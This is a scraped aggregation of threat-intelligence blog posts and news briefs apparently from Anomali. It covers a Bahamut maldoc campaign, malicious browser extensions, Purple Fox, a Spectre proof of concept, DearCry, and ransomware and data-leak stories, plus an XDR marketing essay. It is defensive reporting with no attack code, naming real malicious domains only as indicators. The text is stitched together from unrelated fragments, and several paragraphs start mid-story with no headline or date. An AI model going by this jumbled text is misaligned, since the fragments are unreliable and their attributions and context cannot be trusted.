Anomali.webp 2021-04-01 06:52:00 Bahamut Possibly Responsible for Multi-Stage Infection Chain Campaign (lien direct) Authored by: Gage Mele, Tara Gould, Winston Marydasan, and Yury Polozov Key Findings Anomali Threat Research discovered cyberthreat actors distributing malicious documents exploiting a vulnerability (CVE-2017-8570) during a multi-stage infection chain to install a Visual Basic (VB) executable on target machines. This exploitation creates a backdoor that appears to only retrieve an infected machine’s username, possibly indicating reconnaissance activity. We assess with low confidence, based on limited technical intelligence and targeting consistent with previously observed activity, that the advanced persistent threat (APT) cyberespionage group known as Bahamut may be responsible for this campaign. Bahamut is a “group for hire” and typically targets entities and individuals in the Middle East and South Asia with spearphishing messages and fake applications as the initial infection vector. Overview Based on a discovery in mid-February 2021, Anomali Threat Research assesses with low confidence that the APT cyberespionage group-for-hire Bahamut has been conducting malicious activity against multiple targets since at least June 4, 2020. While researching malicious files, our researchers analyzed a .docx file (List1.docx) that contained a shared bundled component with another .docx file that was communicating via template injection with lobertica.info, a domain previously attributed to Bahamut.[1] Further analysis of this file and the infection chain it follows is provided in subsequent sections below. The header dates of a template injection domain (lobertica.info/fefus/template.dot) contacted by Screeshot from NACTA Website.docx (including “Screeshot” spelling error) indicated malicious activity dating back to at least June 4, 2020. The title of the document may be a reference to Pakistan’s National Counter Terrorism Authority (NACTA), which would be consistent with Bahamut’s previous targeting and geographical location. The June timeframe also aligns with Pakistan’s virtual meeting with the Financial Action Task Force (Groupe d'Action Financière) held on June 24, 2020, which resulted in keeping Pakistan on the financial grey list for terrorism funding.[2] Additionally, in June 2020, between the 9th and 15th, the United Arab Emirates (UAE) and Pakistan conducted repatriation flights for Pakistani nationals in the UAE. And, as of June 29, the UAE suspended passengers from Pakistan, until more COVID-19-related facilities could be created.[3] While the timing may be coincidental, sophisticated threat actors such as Bahamut are known to use real-world events as themes for targeted cyber campaigns. Historically, in December 2016, Bahamut reportedly targeted human rights activists in the Middle East with spearphishing attacks to deliver Android-based malware, this persisted through 2018, with the targeting of entities and individuals in Egypt, Iran, India, Pakistan, Palestine, Qatar, Tunisia, and the UAE.[4] Details Anomali Threat Research identified malicious .docx files that exploit a remote code execution (RCE) vulnerability (CVE-2017-8570). The activity apparently began in June 2020 and continued through at least mid-February 2021. The actors used at least three files with generic names: List1.docx, List for Approval.docx, and report.doc, and one appearing to employ a NACTA theme with a typo: Screeshot from NACTA Website.docx.

Some extensions were found to steal users’ names and passwords, whilst others were stealing financial data. Spoofed extensions posing as legitimate ones were common, amongst them a fake ‘Postman’ extension harvesting companies API credentials to target company applications. The security vendor discovered the extensions on networks belonging to hundreds of its customers and found that they were not being flagged as malicious by endpoint protection tools and threat intelligence systems. Malicious extensions have been previously used in malicious campaigns, in 2020 researchers from Awake Security discovered over 100 malicious extensions engaged in a global campaign to steal credentials, take screenshots, and carry out other malicious activity. It was estimated that there were at least 32 million downloads of the malicious extensions. Analyst Comment: This story illustrates the complexities of using modern life as Google is a monolithic corporation that is integrated into everyone’s daily lives, both personal and business. Whilst many may find it difficult to do much without Google, the cost of using this software can often be your own privacy. Users should be aware that Google’s policies and usage of your data is not malicious and is perfectly legal but you are giving up your information. If something is free, you are the product.

However, the attackers behind the campaign have now upped their game and added new functionality that can brute force its way into victims' systems on its own, according to new research from Guardicore Labs. The researchers identified a new infection vector through Server Message Block (SMB) password brute force and the addition of a rootkit, allowing the actors to hide the malware on a machine making it more difficult to detect and remove. Purple Fox is believed to have compromised around 3,000 servers, the vast majority of which were old versions of Windows Server IIS version 7.5. It was very active in Spring and Summer 2020 before going quiet and then ramping up activity in early 2021. Analyst Comment: Malware authors are always innovating new methods of communicating back to the control servers. Always practice Defense in Depth (do not rely on single security mechanisms - security measures should be layered, redundant, and failsafe). MITRE ATT&CK: Ransomware Malware Tool Vulnerability Threat

Trending Cyber News and Threat Intelligence Google: This Spectre proof-of-concept shows how dangerous these attacks can be (published: March 15, 2021) Google has released a proof of concept (PoC) code to demonstrate the practicality of Spectre side-channel attacks against a browser's JavaScript engine to leak information from its memory. Spectre targeted the process in modern CPUs called speculative execution to leak secrets such as passwords from one site to another. While the PoC demonstrates the JavaScript Spectre attack against Chrome 88's V8 JavaScript engine on an Intel Core i7-6500U CPU on Linux, Google notes it can easily be tweaked for other CPUs, browser versions and operating systems. Analyst Comment: As the density of microchip manufacturing continues to increase, side-channel attacks are likely to be found across many architectures and are difficult (and in some cases impossible) to remediate in software. The PoC of the practicality of performing such an attack using javascript emphasises that developers of both software and hardware be aware of these types of attacks and the means by which they can be used to invalidate existing security controls. Tags: CVE-2017-5753 Threat Assessment: DearCry Ransomware (published: March 12, 2021) A new ransomware strain is being used by actors to attack unpatched Microsoft Exchange servers. Microsoft released patches for four vulnerabilities that are being exploited in the wild. The initial round of attacks included installation of web shells onto affected servers that could be used to infect additional computers. While the initial attack appears to have been done by sophisticated actors, the ease and publicity around these vulnerabilities has led to a diverse group of actors all attempting to compromise these servers. Analyst Comment: Patch and asset management are a critical and often under-resourced aspect of defense in depth. As this particular set of vulnerabilities and attacks are against locally hosted Exchange servers, organization may want to assess whether a hosted solution may make sense from a risk standpoint MITRE ATT&CK: [MITRE ATT&CK] Data Encrypted - T1022 | [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] File and Directory Discovery - T1083 | [MITRE ATT&CK] Email Collection - T1114 | [MITRE ATT&CK] Obfuscated Files or Information - T1027 | [MITRE ATT&CK] System Service Discovery - T1007 | [MITRE ATT&CK] Data Encrypted for Impact - T1486 | Ransomware Tool Vulnerability Threat Guideline Wannacry APT 41 APT 34
Anomali.webp 2021-03-16 15:07:00 An Intelligence-Driven Approach to Extended Detection and Response (XDR) (lien direct) Threat detection isn’t getting any easier. Today’s threat actors are escalating the number of attacks they launch, going after more targets, using increasingly sophisticated techniques, and achieving their goals through surreptitiousness – not notoriety. With more than 2,000 security vendors catalogued and organizations reporting an average of 45 security solutions deployed, why aren’t we any closer to solving the threat detection gap? To answer this question, we first need to ask, what are we trying to achieve? For years now, we have known that the “whack-a-mole” approach of detecting discrete threats is at best a stopgap for the next inevitable attack. At a high level, most would likely agree that the always-shifting nature of adversaries, emergence of new vulnerabilities and exploits, and the all-menacing “zero day” leads to the continued proliferation of incidents ranging across data breaches, ransomware, and cyberespionage, etc. As soon as we close one door to attackers, they find and open another. This has always been the case. There’s more to this though. We think some of the answer can be found in the failure to fully optimize and connect existing tools, processes, and people to give them broader visibility over traffic and threats moving in and out of their networks while seamlessly layering in detection and response capabilities. As we were told in a recent discussion with an industry analyst, “We’ve reached an inflection point.” Enterprises know that the resources needed to greatly improve their security operations exist, they are now hungry to start using them to their maximum potential.” In other words, “We know the goods are available, how do we start using them to better find and neutralize the bad actors?” Enter Extended Detection and Response (XDR) You may have noticed lately that XDR is white hot in the security world. Scores of vendors are entering the fray — ranging across small startups to established 800-pound gorillas. Dozens of industry analysts are quickly validating XDR as more than just a buzzword, with Garter adding XDR to the “innovation trigger” on the newly created Security Operations Hype Cycle. As a long-time member of the security technology community, I can add that while we have certainly seen enthusiasm for trends at different periods, the level that XDR is generating reminds me of three other significant movements that changed the course of computing and security. The first was for Security Event and Information Management (SIEM), which I experienced during my time as a founder at ArcSight. The second was during the “big data” era. The third was for “cloud,” which in many ways has been reinvigorated due to COVID. XDR: What is it? Multiple definitions exist. We think of XDR as an architecture and in terms of how enterprises can leverage it to maximize the performance of their overall security investment (people, technologies, services) to take action against threats at the fastest possible speed. As leaders in the threat intelligence market and with deference to the essential role that global threat intelligence plays in accelerating detection and response, we offer up the following working definition: Organizations that run on top of XDR architectures are able to move closer to managing their security infrastructure as an integrated, unified platform. With XDR, Security Operations Centers (SOCs) can break silos to converge all security data and telemetry collected and generated by security technologies they’ve deployed (tech that includes firewalls, EDR, CASB, SIEM, SOAR, TIP etc.). With this information, they can generate strategic threat intelligence that empowers Vulnerability Threat Patching Guideline

Trending Cyber News and Threat Intelligence Grindr Fixed a Bug Allowing Full Takeover of Any User Account (published: October 3, 2020) Grindr, an LGBT networking platform, has fixed a vulnerability that could allow any account to be hijacked. The vulnerability was identified by security researcher Wassime Bouimadaghene, finding that the reset token was leaked in the page’s response content. This would enable anyone who knows a users’ email address to generate the reset link that is sent via email. Gaining account access would enable an attacker to obtain sensitive information such as pictures stored on the app (including NSFW), HIV status, location, and messages. Grindr has announced a bug bounty program. Recommendation: If your account has been breached, you can reset the password using the reset link sent to the associated email address. Tags: Browser, Exposed tokens, Grindr, Sensitive Info XDSpy: Stealing Government Secrets Since 2011 (published: October 2, 2020) Security researchers from ESET have identified a new Advanced Persistent Threat (APT) group that has been targeting Eastern European governments and businesses for up to nine years. Dubbed “XDSpy,” ESET was unable to identify any code similarity or shared infrastructure with other known groups and believe the group operates in a UTC+2 or UTC+3 time zone, Monday to Friday. XDSpy mainly uses spearphishing emails with some variance, some will contain attachments or links to malicious files, usually a ZIP or RAR archive. When the malicious file has infected a victim, it will install “XDDown,” a downloader that will begin to install additional plugins that will begin to exfiltrate files, passwords, and nearby SSIDs. XDSpy has also been observed using “CVE-2020-0968” (Internet Explorer legacy JavaScript vulnerability) bearing some resemblance to DarkHotel campaigns and Operation Domino, ESET do not believe these campaigns are related but may be using the same exploit broker. Recommendation: Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place. Furthermore, all employees should be educated on the risks of spearphishing and how to identify such attempts.

Trending Cyber News and Threat Intelligence German-made FinSpy Spyware Found in Egypt, and Mac and Linux Versions Revealed (published: September 25, 2020) Security Researchers from Amnesty International have identified new variants of FinSpy, spyware that can access private data and record audio/video. While used as a law enforcement tool, authoritarian governments have been using FinSpy to spy on activists and dissidents. Spreading through fake Flash Player updates, the malware is installed as root with use of exploits, and persistence is gained by creating a logind.pslist file. Once a system is infected with the malware, it has the ability to run shell scripts, record audio, keylogging, view network information, and list files. Samples have been found of FinSpy for macOS, Windows, Android, and Linux. Recommendation: Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from threat actors, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place. Furthermore, all employees should be educated on the risks of spearphishing and how to identify such attempts.

The script first attempts to find the “checkout” string in a web browser URL and, if found, will create an element to the web pages header. This allows the JavaScript to handle external code-loading capabilities that are used to process the theft of billing and payment card information. Recommendation: Sometimes webmasters discover that one of their sites has been compromised months after the initial infection. Websites, much like personal workstations, require constant maintenance and upkeep in order to adapt to the latest threats. In addition to keeping server software up to date, it is critical that all external-facing assets are monitored and scanned for vulnerabilities. The ability to easily restore from backup, incident response planning, and customer communication channels should all be established before a breach occurs.

Trending Cyber News and Threat Intelligence US 2020 Presidential Apps Riddled with Tracking and Security Flaws (published: September 17, 2020) The Vote Joe 2020 application has been found to be potentially leaking personal data about voters. The app is used by the Joe Biden campaign to engage with voters and get supporters to send out promotional text messages. Using TargetSmart, an intelligence service, the app receives their predictions via API endpoint which has been found to be returning additional data. Voter preference and voter prediction could be seen, while voter preference is publically accessible, the information for TargetSmart was not meant to be publicly available. The app also let users from outside of the United States download, allowing for non-US citizens to have access to the data, as there was no email verification. Vote Joe isn’t the only campaign app with security issues, as the Donald Trump application exposed hardcoded secret keys in the APK. Recommendation: The exposure of Personally Identifiable Information (PII) requires affected individuals to take precautionary measures to protect their identity and their finances. Identity theft services can assist in preventing illicit purchases, or applying for financial services from taking place by actors using stolen data.

In an apparent ransomware attack, the hospital’s systems crashed with staff unable to access data. While there was no apparent ransom note, 30 servers at the hospital had been encrypted last week, with a ransom note left on one server addressed to Heinrich Heine University. Duesseldorf police contacted the perpetrators to inform them they had attacked the hospital instead of the university, with the perpetrators providing decryption keys, however patients had to be rerouted to other hospitals and therefore a long time before being treated by doctors. Recommendation: Educate your employees on the risks of opening attachments from unknown senders. Anti-spam and antivirus applications provided by trusted vendors should also be employed. Emails that are received from unknown senders should be carefully avoided, and attachments from such senders should not be opened. Furthermore, it is important to have a comprehensive and tested backup solution in place, in addition to a business continuity plan for the unfortunate case of ransomware infection.

Trending Cyber News and Threat Intelligence China’s ‘Hybrid War’: Beijing’s Mass Surveillance of Australia and the World for Secrets and Scandal (published: September 14, 2020) A database containing 2.4 million people has been leaked from a Shenzhen company, Zhenhua Data, believed to have ties to the Chinese intelligence service. The database contains personal information on over 35,000 Australians and prominent figures, and 52,000 Americans. This includes addresses, bank information, birth dates, criminal records, job applications, psychological profiles, and social media. Politicians, lawyers, journalists, military officers, media figures, and Natalie Imbruglia are among the records of Australians contained in the database. While a lot of the information is public, there is also non-public information contributing to claims that China is developing a mass surveillance system. Recommendation: Users should always remain vigilant about the information they are putting out into the public, and avoid posting personal or sensitive information online. Tags: China, spying US Criminal Court Hit by Conti Ransomware; Critical Data at Risk (published: September 11, 2020) The Fourth District Court of Louisiana, part of the US criminal court system, appears to have become the latest victim of the Conti ransomware. The court's website was attacked and used to steal numerous court documents related to defendants, jurors, and witnesses, and then install the Conti ransomware. Evidence of the data theft was posted to the dark web. Analysis of the malware by Emsisoft’s threat analyst, Brett Callow, indicates that the ransomware deployed in the attack was Conti, which has code similarity to another ransomware strain, Ryuk. The Conti group, believed to be behind this ransomware as a service, is sophisticated and due to the fact that they receive a large portion of the ransoms paid, they are motivated to avoid detections and continue to develop advanced attacking tools. This attack also used the Trickbot malware in its exploit chain, similar to that used by Ryuk campaigns. Recommendation: Defense in Depth, including vulnerability remediation and scanning, monitoring, endpoint protection, backups, etc. is key to thwarting increasingly sophisticated attacks. Ransomware attacks are particularly attractive to attackers due to the fact that each successful ransomware attack allows for multiple streams of income. The attackers can not only extort a ransom to decrypt the victim's files (especially in cases where the victim finds they do not have appropriate disaster recovery plans), but they can also monetize the exfiltrated data directly and/or use the data to aid in future attacks. This technique is increasingly used in supply chain compromises to build difficult to detect spearphishing attacks.

Trending Cyber News and Threat Intelligence ‘Baka’ Javascript Skimmer Identified (published: September 6, 2020) Visa have issued a security alert based on identification of a new skimmer, named “Baka”. Based on analysis by Visa Payment Fraud Disruption, the skimmer appears to be more advanced, loading dynamically and using an XOR cipher for obfuscation. The attacks behind Baka are injecting it into checkout pages using a script tag, with the skimming code downloading from the Command and Control (C2) server and executing in memory to steal customer data. Recommendation: eCommerce site owners must take every step necessary to secure their data and safeguard their payment card information. Visa has also released best practices in the security advisory.

After receiving many tech support calls, the computer networks were shut down to prevent further spread of the ransomware, which led to a cecission in border crossings until systems were up again. The ransomware used in this attack is Netwalker ransomware, that left a ransom note demanding initalling $2 million, however when this wasn’t paid in the first week, the ransom increased to $4 million. Recommendation: Ransomware can potentially be blocked by using endpoint protection solutions (HIDS). Always keep your important files backed up following the 3-2-1 rule: have at least 3 different copies, on 2 different mediums, with 1 off-site. In the case of ransomware infection, the affected system must be wiped and reformatted. Other devices on the network should be checked for similar infections. Always check for a decryptor before considering payment; avoid payment at all costs. Ransomware should be reported to law enforcement agencies who are doing their best to track these actors and prevent ransom from being a profitable business for cyber criminals.
